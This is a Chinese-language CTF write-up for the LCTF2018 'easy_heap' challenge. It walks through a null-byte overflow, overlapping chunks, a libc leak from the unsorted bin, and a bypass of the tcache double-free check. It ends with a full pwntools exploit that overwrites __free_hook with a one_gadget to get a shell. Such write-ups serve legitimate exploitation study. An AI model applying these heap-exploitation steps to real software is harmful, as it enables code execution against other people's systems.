Tcache LCTF2018-PWN-easy_heap

链接:https://pan.baidu.com/s/1UB8-3Iy-UpGObkW6B9YHCQ
提取码:cc8v

十个堆块一直在变位置,有点绕啊

grxer@grxer /m/h/S/c/p/heap> checksec easy_heap 
[*] '/mnt/hgfs/Share/ctfwiki/pwn/heap/easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

大致情况

最多十个堆块

malloc时存在一个null byte overflow,申请固定大小0xF8堆块,a1[a2] = 0;正好可以覆盖下一个堆块的inuse位为0

管理结构在0x202050处

struct 
malloc_point
size

没有其他漏洞了

大致思路是修改掉一个堆块的prevsize和inuse位,放入unsortedbin,利用unlink放入把一个中间的隔块污染放到unsorted链里来利用,泄露libc的同时构成double free,其实术语应该叫tcache dup,但是哥们感觉double free更形象一点

overlapping heap chunk隔块攻击泄露libc

先申请十个堆块0-9

for i in range(10):
new(10,str(i).encode())

把下面地址当成我们的chunk0-9基地址

image-20230328232549777

再把0-5释放掉,

for i in range(6):
delete(i)

再释放9(释放9是为了防止直接释放789,会和topchunk合并,9进入tcachebin inuse位不置空)

image-20230328224546593

tacache满了再释放6 7 8

for i in range(6, 9):
delete(i)

image-20230328224823292

为什么只有chunk6呢?678相邻释放完6再释放7,8前面的堆块为free状态,会触发unlinke

image-20230328225833809

十个chunk都释放掉了

再把tcache chunk的7个chunk申请出来,我们才可以接触到unsort bin的chunk,

for i in range(7):
new(0x10, str(i).encode())

把三个都申请出来作为chunk 7 8 9

image-20230328232149288

这个时候chunk8((0x555555757b00))的inuse位为1,presize为0x200,可以把他前面的chunk7(0x555555757a00)申请出来,就可以覆盖chunk8(0x555555757b00)的inuse位

需要把前面8个chunk申请出来,才可以拿到chunk7(0x555555757a00)

for i in range(6):
delete(i)

delete(8)

delete(7)

这里先释放8(0x555555757a00)有几点原因

  • 可以填满填满tcache,7(0x555555757900)进入unsortbin,会有fd和bk指针写入unsortedbin地址
  • 下一次会先申请到8(0x555555757a00),来覆盖chunk8(0x555555757b00)的inuse位

new(0xf8,b'null-byte-overflow')

image-20230328235322081

目前申请到的0为0x555555757a00,0x555555757b00 previnuse位为0,也就是说0被污染为未使用实际却是使用状态,prevsize是0x200大小,0x555555757900也是free,

这个时候释放9(0x555555757b00)会触发unlinke,0x555555757900,0x555555757a00,0x555555757b00合并为一个大堆块,这样我们就可以强制把0x555555757a00加入unsortedbin里

delete(6)

delete(9)

image-20230329002903347

这个时候再把0x555555757900申请出来,0x555555757a00会挂上链,fd和bk会有bin值,这时候0x555555757a00还在0处使用就可以show泄露unsortedbin了

for i in range(7):#拿走tcachebin里的
new(0x10,b'd')
new(0x10, '900')
show(0)

通过__malloc_hook和main_arean和unsortedbin的偏移找到libc基址

double free && __free_hook

目前state是这样的

image-20230329004708034

再去申请一个堆不就可以double free了吗

**你可能会问我们之前不是在 https://grxer.gitee.io/2023/03/27/Tcache_poisoning_dup/ 说过unbutu18被patch掉了吗,怎么还能double free **

我们注意到在程序delete时

memset(*(void **)(16LL * index + ar), 0, *(unsigned int *)(16LL * index + ar + 8));

这一句就帮助我们绕过double free

if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

在检测doublefree时最简单的就是每一次释放都去遍历一下单链表,但是这样效率太低了,毕竟tcache的出现就是为了速度,ptmalloc2为了效率,在e->key == tcache时才会进行检测double free,因为在使用状态的chunk,e->key是数据区,基本上是不会满足->key == tcache的,64位程序只有2^48-1分之一的概率,使用状态的也没必要检测double free

memset(*(void **)(16LL * index + ar), 0, *(unsigned int *)(16LL * index + ar + 8)这一句会帮我们把原本要释放的key抹除掉,e->key != tcache自然不会检测doublefree

image-20230329005141653

free掉0和9

image-20230329014936412

new(0x10, p64(libc.dump(‘__free_hook’)+base))写入hook到单链表

new(0x10, ‘fuck’)

把a10拿出来

image-20230329015143119

由于在满员下释放了两个堆,又申请了两个,满员了,free掉0和9之前需要再释放几个堆才可以申请下一个

new(0x10, p64(one_gadget))就可以申请到__free_hook-0x10去,hook掉了__free_hook为onegadget

image-20230329125937130

exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./easy_heap'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def cmd(idx):
io.recvuntil(b'>')
io.sendline(str(idx).encode())


def new(size, content):
cmd(1)
io.recvuntil(b'>')
io.sendline(str(size).encode())
io.recvuntil(b'> ')
if len(content) >= size:
io.send(content)
else:
io.sendline(content)


def delete(idx):
cmd(2)
io.recvuntil(b'index \n> ')
io.sendline(str(idx).encode())


def show(idx):
cmd(3)
io.recvuntil(b'> ')
io.sendline(str(idx).encode())
# db('b *$rebase(0xE4B)')
for i in range(10):
new(10,str(i).encode())
# gdb.attach(io)
for i in range(6):
delete(i)
# gdb.attach(io)
delete(9)
# gdb.attach(io)
for i in range(6, 9):
delete(i)
# gdb.attach(io)
for i in range(7):
new(0x10, str(i).encode())
# db('b *$rebase(0xE4B)')
new(0x10,b'7')
# gdb.attach(io)
new(0x10, b'8')
# gdb.attach(io)
new(0x10, b'9')
# gdb.attach(io)

for i in range(6):
delete(i)
delete(8)
# gdb.attach(io)
delete(7)
# gdb.attach(io)
new(0xf8,b'null-byte-overflow')
# gdb.attach(io)
delete(6)
delete(9)
# gdb.attach(io)
for i in range(7):
new(0x10,str(i).encode())
new(0x10, b'900')
# gdb.attach(io)
show(0)
# rl()
main_arean=u64(r(6).ljust(8,b'\x00'))-96
malloc_hook=main_arean-0x10
p('main_arean',main_arean)
libc=LibcSearcher('__malloc_hook',malloc_hook)
base=malloc_hook-libc.dump('__malloc_hook')
p('base',base)
new(0x10, b'e')
# gdb.attach(io)

delete(2)
delete(0)
# gdb.attach(io)
delete(9)
# gdb.attach(io)

new(0x10, p64(libc.dump('__free_hook')+base))
new(0x10, b'fuck')
#gdb.attach(io)
# sleep(1)
one_gadget=base+0x4f302
new(0x10, p64(one_gadget))
#gdb.attach(io)
delete(6)
io.interactive()